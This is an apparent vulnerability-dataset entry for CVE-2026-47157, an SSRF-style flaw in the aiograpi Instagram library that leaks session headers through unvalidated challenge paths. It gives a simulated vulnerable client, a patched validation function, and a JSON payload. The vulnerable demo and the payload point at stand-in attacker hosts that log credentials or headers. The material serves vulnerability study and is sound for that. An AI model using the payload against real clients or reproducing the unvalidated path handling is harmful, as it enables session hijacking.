CVE-2026-47157
aiograpi: Unvalidated challenge paths can lead to session header leakage.
- CVSS 6.5
- CWE-918
- Input Validation and Sanitization
- Remote
aiograpi is an asynchronous Instagram API for Python. aiograpi versions before 0.9.10 accepted server-supplied signup challenge paths and used them to build request URLs before validating that the paths were relative Instagram API paths. If an attacker can influence a challenge response, for example through a local network, DNS, or proxy compromise, challenge handling requests could be sent outside the intended Instagram host with the client's existing session headers. Version 0.9.10 validates challenge paths before building URLs, solving captcha challenges, or submitting phone/SMS challenge forms.
- CWE
- CWE-918
- CVSS base score
- 6.5
- Published
- 2026-06-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- aiograpi
- Fixed by upgrading
- Yes
Solution
Upgrade aiograpi to version 0.9.10 or later.
Vulnerable code sample
import urllib.parse
class VulnerableClient:
"""
A simplified representation of the aiograpi client before the fix.
It contains a session with sensitive headers.
"""
def __init__(self, session_id):
self.api_url = "https://i.instagram.com/api/v1/"
self.headers = {
"User-Agent": "Instagram 219.0.0.12.117 Android",
"Cookie": f"sessionid={session_id};"
}
print("Client initialized with sensitive session headers.")
def _simulate_request(self, url):
"""Simulates making an HTTP request to the specified URL."""
print(f"\n[!] Making a request to: {url}")
print(f"[!] With sensitive headers: {self.headers}")
if "i.instagram.com" not in url:
print("\n[!!!] VULNERABILITY EXPLOITED [!!!]")
print("Sensitive session headers have been sent to a non-Instagram domain.")
def handle_challenge_response(self, challenge_json):
"""
This function contains the vulnerable logic.
It accepts a server-supplied path and uses it to build a request URL
without proper validation.
"""
challenge_path = challenge_json.get("challenge", {}).get("url")
if not challenge_path:
print("No challenge path found in the response.")
return
# VULNERABLE STEP: The `challenge_path` from the server is used to build
# the next URL. `urllib.parse.urljoin` will discard the base URL if
# the path is an absolute URL (e.g., starts with "//" or "http://").
next_url = urllib.parse.urljoin(self.api_url, challenge_path)
# The client proceeds to make a request to the potentially malicious URL,
# sending its sensitive session headers along with it.
self._simulate_request(next_url)
# --- Demonstration of the vulnerability ---
# 1. Initialize the client with a sensitive session ID.
client = VulnerableClient(session_id="SENSITIVE_USER_SESSION_ID_12345")
# 2. An attacker, through a Man-in-the-Middle (MitM) or DNS compromise,
# modifies the challenge response from Instagram.
# The 'url' field now points to an attacker-controlled domain.
attacker_modified_response = {
"message": "challenge_required",
"challenge": {
"url": "//attacker-domain.com/log_credentials",
"challenge_type": "signup_challenge"
},
"status": "fail"
}
# 3. The vulnerable client code processes the malicious response.
print("\nClient is processing a challenge response manipulated by an attacker...")
client.handle_challenge_response(attacker_modified_response)Patched code sample
from urllib.parse import urlparse
def get_safe_challenge_url(challenge_path: str) -> str:
"""
This function represents the patched logic for handling a server-supplied
challenge path, fixing the vulnerability in CVE-2026-47157.
"""
# The vulnerability was using a server-supplied 'challenge_path'
# without validation. The fix is to parse the path and ensure it does
# not contain components that would redirect the request to another host.
parsed = urlparse(challenge_path)
# The Fix: If a scheme (e.g., 'http:') or a netloc (e.g., 'attacker.com')
# is present, it's an absolute or protocol-relative URL, not a simple
# path. The request must be rejected to prevent it from being sent to an
# unintended external server.
if parsed.scheme or parsed.netloc:
raise ValueError(f"Invalid or malicious challenge path detected: {challenge_path}")
# After validation, the path is confirmed to be relative and can be safely
# prepended with the intended host.
return f"https://i.instagram.com{challenge_path}"Payload
{
"message": "challenge_required",
"challenge": {
"url": "https://attacker-controlled-server.com/log_headers",
"api_path": "https://attacker-controlled-server.com/log_headers",
"lock": false,
"flow_render_type": 0
},
"status": "fail"
}
Cite this entry
@misc{vaitp:cve202647157,
title = {{aiograpi: Unvalidated challenge paths can lead to session header leakage.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-47157},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47157/}}
}
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